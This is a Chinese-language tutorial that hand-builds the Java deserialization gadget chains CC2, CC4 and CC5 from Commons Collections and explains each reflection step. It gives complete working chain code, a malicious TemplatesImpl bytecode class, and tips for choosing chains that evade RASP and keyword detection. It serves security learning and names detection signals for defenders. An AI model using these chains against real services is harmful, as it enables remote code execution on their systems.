1. 先把Gadget链这回事说透
Java反序列化攻防里,最劝退新人的不是反序列化本身,而是Gadget链那堆绕来绕去的类名。CC2、CC4、CC5这些名字,懂的人觉得就几行代码的事,不懂的人看ysoserial源码像看天书。我见过不少人拿着现成POC跑通一次就完事,真到要自己写一条链的时候,连Transformer是什么、反射在哪里、成员变量改来改去在干嘛都说不清楚。这篇文章我就把CC2、CC4、CC5三条链全部手搓一遍,从反射调用到成员变量修改,从PriorityQueue到BadAttributeValueExpException,把每一条链的每一环都拆开讲清楚。适合正在学Java安全、看过一些POC但自己写不出来的朋友,也适合想搞懂漏洞原理的防御方。
抛开那一堆类名,Gadget链的本质就是一条从反序列化入口到危险方法的函数调用路径。Java反序列化时,ObjectInputStream.readObject会自动调用目标类的readObject方法,这个行为是写死在JDK里的。攻击者要做的事情,就是构造一份序列化数据,让readObject在执行过程中被一步步引导到Runtime.exec或者TemplatesImpl.newTransformer这类危险调用上。整个构造过程就是"找入口、找桥、找终点"三个步骤,CC2、CC4、CC5虽然名字不同,骨架完全一样。
1.1 反序列化入口:漏洞的起点不是命令执行,而是readObject
很多人刚接触反序列化时有个误区,以为漏洞点是某个代码里的exec方法,其实不是。真正承载利用链的是反序列化时自动执行的那段逻辑。ObjectInputStream在反序列化时会先读取对象头,再根据类描述信息创建对象并调用对应类的readObject。这个配置过程对攻击者是透明的,传什么类型的数据,就触发什么类的readObject。所以入口类选择很关键,常见的有PriorityQueue.readObject、BadAttributeValueExpException.readObject、HashMap.readObject等,这些类的readObject内部都会直接或间接地对可控对象调用方法,为利用链提供了天然起点。
CC链全称是CommonsCollections链,利用的是Apache Commons Collections库里的Transformer机制。Transformer接口定义很简单,就一个convert方法,输入一个对象输出一个对象,任何实现该接口的类都可以看成一个黑盒函数。攻击者的思路就是把这些黑盒串起来:上一个的输出作为下一个的输入,最终输出一个命令执行。这种串起来的东西叫ChainedTransformer,内部维护一个Transformer数组,执行时逐个调用。这一机制本身很无辜,但被组合之后就能完成一系列反射调用,最终构成任意代码执行。
1.2 链的三段式:入口、中间桥、危险终点
我拿到任何一条Gadget链,都会先拆成三段看:
- 入口点:反序列化时会自动调用的方法。常见的有PriorityQueue.readObject、BadAttributeValueExpException.readObject等。
- 中间桥:负责把readObject里的动作导向Transformer调用点。最常见的就是TransformingComparator.compare、TiedMapEntry.toString这类"无意识调用"。
- 危险终点:真正造成危害的类。要么是Runtime.exec直接命令执行,要么是TemplatesImpl.newTransformer加载字节码。
这个"三段式"非常有用。我后面讲CC2、CC4、CC5,都是按这个框架来拆。你会发现它们只是入口和桥不同,底层的Transformer机制是通用的。一旦理解这条主线,再遇到CB链、ROME链、Fastjson的JdbcRowSetImpl链,都能一眼看穿套路。
1.3 序列化的隐藏特性:构造函数不执行
手搓链之前还必须知道一个Java序列化的隐藏特性——反序列化创建对象时不调用构造函数。这就是为什么很多利用链里的恶意逻辑要放在readObject、静态块或者某个方法里,而不是构造函数里。比如TemplatesImpl加载恶意字节码时,目标类会被newInstance,虽然构造函数也会执行,但更稳定的是把命令写在静态块中。理解了这一点,你就明白为什么很多Evil类长着两个空空的transform方法,真正的核心逻辑全在static块里。
2. 反射调用与成员变量修改:手搓链的两个基本功
新人在手搓Gadget链的时候,最头疼的其实不是链子设计本身,而是那堆反射代码。为什么要反射?因为很多关键方法、字段都是private的,你没法直接obj.field访问,只能用反射强行操作。为什么要改成员变量?因为一个对象在正常构造时,很多字段已经被赋值了,但你要让它变成攻击链的一部分,必须把某个字段换成恶意数据。比如把PriorityQueue内部的queue数组替换成恶意对象数组,把TemplatesImpl的_bytecodes塞进自己的字节码。这两个基本功不扎实,后面每条链都会磕磕绊绊。
2.1 反射三件套:拿到类、拿到方法、invoke
在任何一条CC链里,你最终都会看到类似这样的代码:
Class<?> clazz = Class.forName("java.lang.Runtime"); Method getRuntime = clazz.getMethod("getRuntime"); Method exec = clazz.getMethod("exec", String.class); Object runtime = getRuntime.invoke(null); exec.invoke(runtime, "calc");这里有几个特别容易忽略的细节。第一,getRuntime是静态方法,invoke的第一个参数传null。第二,exec是实例方法,第一个参数要传runtime对象。第三,getMethod只能拿public方法,如果想拿private方法,得用getDeclaredMethod,然后setAccessible(true)。第四,getMethod和getDeclaredMethod的第二个参数是参数类型数组,用来区分重载方法,很多人写new Class[]{String.class}时漏掉了这个设计意图,在遇到同名重载方法时就会拿错方法。
在链子里,我们不直接写这一大坨反射逻辑,而是把它封装成InvokerTransformer。这个类维护三个配置:方法名、参数类型数组、参数值数组。当它收到输入对象时,会按配置反射调用。于是Runtime链就可以写成:
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})注意这里调用的是Class类上的getMethod方法,所以参数是两种类型:String.class和Class[].class。这一步经常写错,写成new Class[]{String.class}就完全不对了,因为Class.getMethod的签名是getMethod(String, Class<?>...),第二参数是可变长Class数组,反射拿Method时要用new Class[]{String.class, Class[].class}描述。这个细节我反复强调,因为三条链里CC2和CC5都会用到。
2.2 setAccessible与成员变量的修改时机
反射修改成员变量是手搓链的另一半工作量。找一个最常见的例子:TemplatesImpl的_bytecodes字段是private的、没有setter方法,只能反射改:
Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field bytecodes = clazz.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][]{evilClassBytes});为什么不直接构造塞进去?因为TemplatesImpl经过JDK内部一系列初始化,默认的_bytecodes就是null。你不反射改,newTransformer加载时找不到字节码,链就断了。类似的还有_name字段,它必须是非null字符串,否则newTransformer会直接抛NullPointerException;_tfactory字段也得手动塞一个TransformerFactoryImpl实例,它负责后续生成真正的Transformer对象。
这里有一个高频踩坑点:getDeclaredField只能获取本类声明的字段,不能获取父类字段。如果目标字段定义在父类里,你得先clazz.getSuperclass()拿到父类Class,再getDeclaredField。很多链里要改的字段在抽象基类上,直接在当前类上取就会抛NoSuchFieldException。我自己的习惯是,反射之前先调用getDeclaredFields()把本类和父类的字段名全部打印出来,确认字段到底在哪个类上,再动手写代码。这个习惯帮我省了很多排查时间。
另外还有一个性能和实践上的细节:setAccessible(true)并不是银弹。对于final实例字段,现代JDK在反射set时有时会遇到问题,尤其是JDK 17之后对强封装做了限制,直接反射set private final字段可能报InaccessibleObjectException。虽然大多数实验环境还在JDK 8,但你如果发现自己set了字段但反序列化后没生效,就要考虑是不是final字段被JIT优化、内联了。后续我会讲一种更稳的做法:不去改容器类的final字段,而是去改容器内部持有的Transformer对象的字段。
2.3 两条危险终点路线:Runtime.exec与TemplatesImpl.newTransformer
搞清楚了反射,还要选终点。我习惯把终点分成两条路线:Runtime线和TemplatesImpl线。
| 对比维度 | Runtime链 | TemplatesImpl链 |
|---|---|---|
| 最终调用 | Runtime.exec(String) | TemplatesImpl.newTransformer() |
| 命令效果 | 直接执行系统命令 | 加载并实例化字节码 |
| 对命令字符串的依赖 | 强,特殊字符容易出错 | 不依赖命令字符串 |
| 利用前置条件 | 基本无 | 需要可控字节码,JDK自带Xalan类可用 |
| 常见适配链 | CC1、CC5 | CC2、CC3、CC4 |
Runtime链的好处是短,反射两次就能到exec。坏处是执行命令时可能受到目标环境限制,比如无法执行带管道的复杂命令、目标机器上根本没有calc这玩意儿,或者命令拦截规则盯得很紧。TemplatesImpl链的好处是执行任意字节码,可以做内存马、写webshell、加密反弹等更高级的操作,坏处是构造前置条件多,需要先编译一个恶意Java类,再反射改TemplatesImpl的三个字段。实际操作中,很多时候TemplatesImpl链的价值远大于Runtime链,因为它绕过了"命令字符串检测"这一层。
2.4 再说"类传入":链里的参数传递协议
标题里有个词叫"类传入",这个点很容易被忽略。Gadget链能成立,本质上靠的是对象在方法之间被传来传去。这里有两种典型玩法:一种是传值,比如ConstantTransformer(Runtime.class),它把Runtime这个Class对象当作固定输出,不管输入是什么都返回这个Class;另一种是传方法调用参数,比如InvokerTransformer配置的方法参数数组,就是要把什么类型的参数传给目标方法。这两种"传入"组合起来,就形成了链上的参数传递协议。
举个例子,CC5链里的Transformer数组是这样传的:
new ConstantTransformer(Runtime.class), // 把 Runtime.class 传出去 new InvokerTransformer("getMethod", ...), // 把 Runtime.class 传进去,拿 getMethod new InvokerTransformer("invoke", ...), // 把 Method 传进去,执行 invoke,拿到 Runtime 实例 new InvokerTransformer("exec", ...) // 把 Runtime 实例传进去,执行 exec每一步的输出都恰好是下一步的输入类型。这就是为什么这些类能串成一条链,你换成别的方法签名可能就ClassCastException。理解"类传入"这个协议,你就能自由设计自己的Transformer链,而不只是照着POC抄。
3. CC2链手搓:PriorityQueue + TransformingComparator + InvokerTransformer
这条链在安全圈里被讲得最多,因为它短、清楚、容易复现。我建议所有学Gadget链的人都从CC2入手,先跑通一次,再去看CC4、CC5,体感会很不一样。
3.1 完整调用链:从compare到exec
CC2的入口是PriorityQueue。这个优先队列的readObject在反序列化时会调用heapify,然后走siftDownUsingComparator,再调用构造时传入的Comparator的compare方法。攻击者只要让这个Comparator是TransformingComparator,compare内部就会调用它持有的Transformer链。
完整调用链长这样:
PriorityQueue.readObject() -> PriorityQueue.heapify() -> PriorityQueue.siftDownUsingComparator() -> TransformingComparator.compare() -> ChainedTransformer.transform() -> InvokerTransformer.transform() -> Runtime.exec("calc")从代码量看,PriorityQueue到compare又远又多,但每一步都只是单纯的数组比较逻辑,没有额外校验。这正是我们想要的。
3.2 先搭Transformer链:四步反射调用Runtime
CC2的第一步是构造Transformer数组,把Runtime调用拆成四段:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chain = new ChainedTransformer(transformers);第一段ConstantTransformer把Runtime.class固定为输出;第二段reflect getMethod,参数是方法名和空Class数组;第三段reflect invoke,因为getMethod返回的Method.invoke签名是invoke(Object obj, Object... args),而getRuntime是静态方法,所以第一个obj传null;第四段reflect exec,把字符串"calc"传给Runtime实例。
这里再强调一次,真正的难点在第二段和第三段的参数类型描述。getMethod的反射目标是Class.getMethod,所以要写new Class[]{String.class, Class[].class};invoke的反射目标是Method.invoke,所以要写new Class[]{Object.class, Object[].class},因为可变参数在反射看来就是一个Object数组。这个细节写错过一次,后面就再也不会忘了。
3.3 组装PriorityQueue:先拆危险组件,打包后再装回
直接new一个PriorityQueue并传入恶意comparator是不行的。为什么?因为你在add元素的时候,PriorityQueue内部会立即调用compare来维护堆结构,恶意逻辑在构造阶段就触发了。这不是我们要的效果——我们想要的是反序列化时才触发,而不是代码运行到一半就弹计算器,序列化出来的数据也可能不对。
正确做法:先用无害的comparator构造对象,add完元素,再通过反射把恶意comparator和queue数组换进去:
PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(new ConstantTransformer(1))); queue.add("1"); queue.add("1"); Field comparatorField = PriorityQueue.class.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(queue, new TransformingComparator(chain)); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(queue, new Object[]{"1", "1"});注意PriorityQueue的comparator字段是final的,反射去set在JDK 8下通常能成功,这是实际验证过的做法。如果你担心final字段设置不生效,可以换一种更稳的思路:构造时传入一个TransformingComparator(无害transformer),add完元素后,反射修改这个TransformingComparator内部的transformer字段,把它从ConstantTransformer(1)换成恶意chain。这样完全没有碰PriorityQueue的final comparator字段,成功率更高。
Field transformerField = TransformingComparator.class.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(comparator, chain);两种方式都行。我推荐第二种,因为"改内部对象字段,而不是改容器final字段"是我在遇到final陷阱后养成的习惯,后面遇到其他链也通用。
3.4 queue数组与size的一致性
序列化保存的是PriorityQueue的queue数组和size。反序列化readObject会先把size读出来,然后依次读元素填充queue数组,最后调用heapify。反射替换queue数组时,必须保证数组长度和size匹配。如果数组长度和size不一致,siftDown检查时会用size做边界判断,可能导致越界或者跳过部分元素,最终反序列化直接ArrayIndexOutOfBoundsException。
我一般这样处理:先看size有多大。上面代码add了两次元素,size为2,所以我替换的queue数组长度也是2,元素是两个相同对象即可。heapify在反序列化时会重建堆结构,在重建过程中一定会调用compare,于是恶意链启动。元素是"1"还是恶意对象其实不重要,关键是compare的第一个参数和第二个参数都会被传给Transformer链,而我们用的是ConstantTransformer开头,对输入值不敏感。
3.5 序列化与版本要求
CC2这条链对commons-collections版本有要求。TransformingComparator在commons-collections 4.x里实现了Serializable,可以正常参与序列化;而在3.2.1里,TransformingComparator本身没有实现Serializable接口,直接序列化会抛java.io.NotSerializableException。所以网上说CC2一般用于4.x就是这个原因。
你在自己项目里复现时,建议直接用Maven引入commons-collections 4.0或者4.4,JDK用8u202或更早的8版本。别用太新的JDK,不然BadAttributeValueExpException、TemplatesImpl这些类的模块导出和内部访问限制会让你怀疑人生。我自己的实验环境就是JDK 8u202 + commons-collections 4.0,跑CC2、CC4都非常稳。
4. CC4链手搓:把TemplatesImpl塞进PriorityQueue
CC4在入口和桥上跟CC2长得几乎一样,都是PriorityQueue + TransformingComparator。差别主要在危险终点:CC2直接用InvokerTransformer反射Runtime,CC4则先把TemplatesImpl作为固定对象传入链中,再用InvokerTransformer调用它的newTransformer方法,由newTransformer加载字节码执行任意Java代码。这条链在手搓时最大的变化就是要准备恶意类字节码,还得反射设置TemplatesImpl的成员变量。
4.1 为什么要有CC4:从命令执行到字节码加载
想想实际场景。很多防护系统不会只盯着exec字符串,但更早的一批检测规则确实会把注意力放在Runtime.exec上,毕竟2015年之前最流行的CC链都是往这个方向打的。CC4把终点换成TemplatesImpl之后,整个链里看不到exec字符串,也看不到Runtime类名,前期很多基于关键字的检测就不容易直接匹配到。
更重要的是通用性。TemplatesImpl是JDK自带的类,位于com.sun.org.apache.xalan.internal.xsltc.trax包下,只要目标JDK没有裁剪模块,这条链就天然可用。相比之下,Runtime.exec只能执行系统命令,想干点更复杂的事(比如写内存马)就抓瞎了。字节码加载是一条比命令执行更通用的路。
4.2 准备恶意类字节码
要跑TemplatesImpl链,先得有一个恶意Java类。这个类必须继承AbstractTranslet,因为TemplatesImpl在defineTransletClasses的时候会检查加载进来的类是不是AbstractTranslet的子类,不满足直接抛异常。最简单的恶意类长这样:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception ignored) {} } @Override public void transform(DOM document, SerializationHandler[] handlers) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }为什么用静态块?因为TemplatesImpl加载这个类后,会对它做newInstance创建实例,new的过程中静态块一定执行。你写构造函数也行,但静态块更稳定,不需要处理构造参数。两个空的transform方法是为了满足抽象方法约束,TemplatesImpl不关心transform具体做了什么,它只在乎类能不能被加载实例化。
编译好后,把这个Evil.class文件读成byte[],接下来的工作就是把byte[]塞进目标TemplatesImpl对象。
4.3 反射设置TemplatesImpl的三个关键字段
TemplatesImpl有三个字段是必须设置的,缺一个链都会断:
byte[] evilBytes = ...; // Evil.class 的内容 Class<?> tplClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); TemplatesImpl templates = new TemplatesImpl(); Field bytecodesField = tplClazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{evilBytes}); Field nameField = tplClazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "Evil"); Field tfactoryField = tplClazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());_bytecodes是byte[][],所以哪怕只有一个恶意类,也要用双层数组包一层。_name是String类型,必须非null,随便给个非空字符串就行。_tfactory是TransformerFactoryImpl类型,负责后续生成Transformer。如果不设置_tfactory,newTransformer内部用到时会得到null,最终空指针。
如果你用的JDK比较新,可能会出现Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")直接失败的状况,因为模块系统默认没有导出这个包。解决办法是加JVM启动参数:
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED不过说真的,研究老Gadget链最省心的方式就是老老实实用JDK 8。
4.4 组装链并替换PriorityQueue内部状态
恶意字节码准备好了,接下来就回到熟悉的CC2套路:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) }; ChainedTransformer chain = new ChainedTransformer(transformers); TransformingComparator evilComparator = new TransformingComparator(chain); PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(new ConstantTransformer(1))); queue.add("1"); queue.add("1"); Field transformerField = TransformingComparator.class.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(((TransformingComparator) queue.comparator()), chain); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(queue, new Object[]{templates, templates});因为我前面说了,推荐改TransformingComparator内部的transformer字段而不是动PriorityQueue的final comparator,所以这里先拿到queue里那个无害的TransformingComparator实例,再把它的transformer字段替换成恶意chain。queue数组替换成两个templates对象,这样heapify调用compare时,传入的元素就是templates,chain里的ConstantTransformer会把它原样返回,然后InvokerTransformer调用newTransformer,加载字节码。
4.5 这条链的实际效果
反序列化时,整个动作链路是:PriorityQueue.readObject -> heapify -> siftDown -> compare -> chain.transform(templates) -> ConstantTransformer返回templates -> InvokerTransformer调用templates.newTransformer() -> 恶意类被加载实例化 -> 静态块执行命令。整个过程没有Runtime.exec出现在任何Transformer配置里,命令字符串字段完全不存在,只在远程的恶意字节码里才有。
这也是我一直觉得TemplatesImpl链比Runtime链优雅的原因——攻击载荷的主体是字节码,而不是命令字符串,能做文章的空间大得多。防御方要检测这种链,靠关键字是没什么效果的,得从类路径、类加载行为、反序列化对象图特征多个维度下手。
5. CC5链手搓:从BadAttributeValueExpException的toString走进去
前两条链都盯着PriorityQueue的compare,CC5换了一个完全不同的入口:javax.management.BadAttributeValueExpException。这个类的readObject会读取一个叫val的字段,并对它调用toString。于是链的核心就变成:怎么让一个对象的toString最终触发Transformer链?LazyMap + TiedMapEntry就是干这个的。
5.1 入口类与整条调用链
BadAttributeValueExpException的readObject会读取val字段,这个字段的值不是String类型的话,会走val.toString()。我们把这个val设置成一个TiedMapEntry对象。TiedMapEntry的toString方法是这样的:
public String toString() { return getValue() + " - " + getKey(); }getValue方法会调用内部持有的map.get(key)。如果我们把map设置成LazyMap,而LazyMap的get方法在没有对应key时会调用factory.transform(key),那整条链就通了。
完整调用链:
BadAttributeValueExpException.readObject() -> val.toString() -> TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get("key") -> ChainedTransformer.transform("key") -> ConstantTransformer(Runtime.class) -> InvokerTransformer("getMethod", ...) -> InvokerTransformer("invoke", null) -> InvokerTransformer("exec", "calc")5.2 LazyMap的触发条件:key必须不存在
LazyMap是commons-collections里的一个Map装饰器,构造时接收一个普通的Map和一个Transformer factory。它的get方法实现有这样一个逻辑:
public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }只有key在map中不存在时,factory才会被触发。因此构造LazyMap时,一定要传一个空的HashMap作为底层map,key传一个新建出来的简单字符串。如果你不小心先往map里put了这个key,整个链就不会触发。这个坑我踩过一次,排查了半天,最后翻源码才发现LazyMap的get只有在key不存在时才会向factory要值。
5.3 TiedMapEntry与LazyMap如何咬合
TiedMapEntry的构造方法接收两个参数:一个Map和一个key。它内部就两个字段,构造时绑定。调用toString时先调用getValue,getValue再去map.get(key)。这里有一个很有意思的点:TiedMapEntry被toString调用时,它并不知道自己持有的map是不是LazyMap,它只调用map.get。正是这种"无意识调用"让不同库的类能够互相桥接,形成通用Gadget链。
CC5的hand-rolled代码写起来其实很短:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); LazyMap lazyMap = LazyMap.decorate(new HashMap<>(), chain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); BadAttributeValueExpException exception = new BadAttributeValueExpException(null); Field valField = exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception, tiedMapEntry);注意构造BadAttributeValueExpException(null)只是为了先建一个合法对象,真正的恶意val是用反射塞进去的。valField是private字段,getDeclaredField之后setAccessible(true),再把tiedMapEntry写进去。这段代码跑通后,序列化出去,反序列化时就会弹出计算器。
5.4 JDK版本差异是CC5最大的坑
BadAttributeValueExpException的readObject实现,在不同JDK版本里行为不一样。以JDK 8为例,早期版本val字段是non-transient,直接序列化就能带上;后来官方把val改成了transient,readObject改为通过GetField读取,再对读出来的对象做处理。而且处理逻辑也分了好几版,有的版本里只有在System.getSecurityManager()返回null时才走toString,有的版本则对val的类型有白名单判断,不是所有对象都允许调用toString。
所以你在本地复现CC5时,如果反序列化后没反应,第一件事别改链,先去看当前JDK里BadAttributeValueExpException的字节码:
javap -c javax.management.BadAttributeValueExpException看readObject里到底怎么处理val,是直接toString还是有类型判断。这个排查方法非常笨但非常有效。我自己就是在JDK 8u202环境上通过了CC5,换到更高版本JDK后状态就变了,因为在更高版本里val字段的处理逻辑更严格。
5.5 CC5的版本兼容范围
CC5对commons-collections的版本要求比CC2宽松很多,因为LazyMap、TiedMapEntry、ChainedTransformer、ConstantTransformer、InvokerTransformer这些类在commons-collections 3.x和4.x里都存在,而且行为一致。所以在3.2.1上CC5能跑,在4.x上也能跑。如果你遇到一个目标环境用的是低版本commons-collections,没法跑CC2,CC5往往是个好备选。
6. 三条链横向对比与实战选型
三条链都手搓完之后,我把它们放在一起对比一下,你在实际研究时就能快速判断选哪条。
| 对比项 | CC2 | CC4 | CC5 |
|---|---|---|---|
| 入口类 | PriorityQueue | PriorityQueue | BadAttributeValueExpException |
| 中间桥 | TransformingComparator.compare | TransformingComparator.compare | TiedMapEntry.toString |
| 链尾终点 | InvokerTransformer -> Runtime.exec | InvokerTransformer -> TemplatesImpl.newTransformer | InvokerTransformer -> Runtime.exec |
| CommonsCollections版本 | 4.x | 4.x | 3.x / 4.x |
| 命令载荷形式 | 命令字符串 | 字节码 | 命令字符串 |
| 构造复杂度 | 低 | 高 | 中 |
| 常见检测关注点 | PriorityQueue、InvokerTransformer | PriorityQueue、TemplatesImpl、newTransformer | BadAttributeValueExpException、LazyMap |
从研究学习的角度,我建议CC2 -> CC5 -> CC4这个顺序。CC2最短,能帮你熟悉PriorityQueue和InvokerTransformer的反射写法;CC5引入了一条全新的入口路线,让你看到"不是只有comparator才能当桥";CC4则需要你掌握TemplatesImpl字节码链的构造,这是后面搞内存马和更复杂利用的基石。
从实战利用角度,选链要看目标环境:
- 如果只是验证反序列化漏洞是否存在,优先用CC2,代码量最小、依赖最明确。
- 如果目标环境对Runtime.exec做了限制,或者有RASP在监听Runtime调用,马上切换到TemplatesImpl路线,CC4是自然选择。
- 如果目标用的是commons-collections 3.x,而且你希望入口点不要太扎眼,CC5比CC2合适。
- 如果目标JDK版本较新,CC5的触发条件会受到BadAttributeValueExpException版本影响,需要先确认readObject行为再决定。
有一点我想额外说清楚:研究Gadget链不是单纯为了构造POC,对防御方来说,理解这些链的构造方式才知道该在哪些点埋检测。比如CC2和CC4都绕不开PriorityQueue,那么反序列化流量里频繁出现这个类就值得警觉;CC5绕不开BadAttributeValueExpException和LazyMap,那么这两个类同时出现在对象图里也是一个强信号。只有把链拆到这种颗粒度,攻防双方才算真正理解了反序列化漏洞。
7. 手搓Gadget链过程中最常见的坑
最后分享一下我实际调试时踩过次数最多的坑,每一个都真实发生过。
7.1 NoSuchFieldException / NoSuchMethodException
反射拿不到字段或方法,百分之九十九是类路径或JDK版本的问题。比如在JDK 9之后,com.sun.org.apache.xalan.internal.xsltc.trax这个包默认不导出,Class.forName都不一定能过。解决办法是加--add-exports启动参数,或者干脆用JDK 8做实验,这是最省事的。
如果字段来自父类,记得先getSuperclass()。我在反射BadAttributeValueExpException的val字段时就踩过,因为val就在本类,所以直接getDeclaredField就拿到了。但另一些链里要改的字段在某个抽象基类上,不先getSuperclass就会NoSuchFieldException。排查方法很简单:反射之前打印一下clazz.getDeclaredFields()和clazz.getSuperclass().getDeclaredFields(),一眼就能看到字段归属。
7.2 提前触发:本地构造阶段就弹了计算器
这是新手最容易遇到的问题。如果你直接new PriorityQueue(2, evilComparator)然后add,add会调用siftUp,siftUp会调用compare,恶意逻辑在构造阶段就执行了。有人会问,提前执行有什么问题?问题大了。我们的目的是生成一份序列化数据交给目标程序反序列化,本地构造只是"打包"过程。如果打包时执行了命令,本地会先弹一次计算器,更糟糕的是某些命令有副作用,不能执行两次,而且对象在构造到一半时状态已经被污染了,序列化出去的对象可能根本不是想要的样子。
解决方案就是我前面反复说的:先摘除恶意组件,正常构造,序列化前再用反射把恶意组件装回去。这个"打包再装填"的思路贯穿所有Gadget链的构造。
7.3 反序列化时不报错,但也没执行
最磨人的就是这种静默失败。常见原因有几个:
- TemplatesImpl链的_name为null,newTransformer抛NullPointerException,但异常被某些readObject逻辑吞掉了。
- LazyMap的底层map里已经有目标key,导致factory根本没被调用。
- ChainedTransformer里某一步返回类型和预期不符,中间抛出ClassCastException。
- InvokerTransformer的方法名写错,反射调用时抛NoSuchMethodException。
这种情况下别瞎猜。写一个自定义的ObjectInputStream,在resolveClass里打印类名,看反序列化到底走到了哪一步:
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("poc.ser")) { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { System.out.println("class: " + desc.getName()); return super.resolveClass(desc); } };每读一个类都会打印类名,你能清楚地看到对象图构建到哪里断掉的。这个方法我用了很多年,比盲试强太多。比如我遇到过反序列化连TemplatesImpl都没读到就停了,那肯定是入口类的readObject在某个环节提前返回了,跟Transformer链本身没关系。
7.4 serialVersionUID不匹配导致InvalidClassException
本地序列化、远程反序列化,两个环境的commons-collections版本不同,很可能报InvalidClassException。解决办法是让实验环境和目标环境用一致的依赖版本。研究阶段我通常把commons-collections固定在一个版本,所有POC工程都引用这个版本,避免这种低级问题干扰。
7.5 final字段反射set之后不生效
这个问题在前面提过,碰上JDK版本较新或者JIT做了优化,反射set final字段可能不生效。我的处理习惯是:能改内部对象字段就不改容器final字段;必须改final字段时,在反射set之后再去读一下,验证是否真的写进去了:
Object value = comparatorField.get(queue); if (value != evilComparator) { throw new IllegalStateException("reflect set comparator failed"); }这个小小的验证逻辑,帮我避免了很多"本地能弹、远程不弹"的诡异情况。反射set不是百分百可靠的,写完就验证是一个好习惯。
最后说点个人体会
手搓Gadget链这件事,第一次做会觉得很玄,代码里全是反射、字段名、版本判断。但当你把CC2、CC4、CC5三条链都自己写一遍之后,就会形成一种肌肉记忆:先找入口,再找桥,最后找危险终点。以后再遇到CB链、ROME链、Fastjson的TemplatesImpl链,其实都是同一个套路,区别只是入口和桥换了个类而已。
我个人在实际调试中的体会是,环境版本比链子本身重要得多。很多新手卡在一个链上两三天,最后发现只是JDK小版本差异。建议专门准备一个固定的JDK 8u202和commons-collections对应版本的实验环境,把每条链的最小可用代码存成独立工程,之后做研究就是"换入口、换桥、换终点"的排列组合。这一步跨过去,Java反序列化攻防就算真的入门了。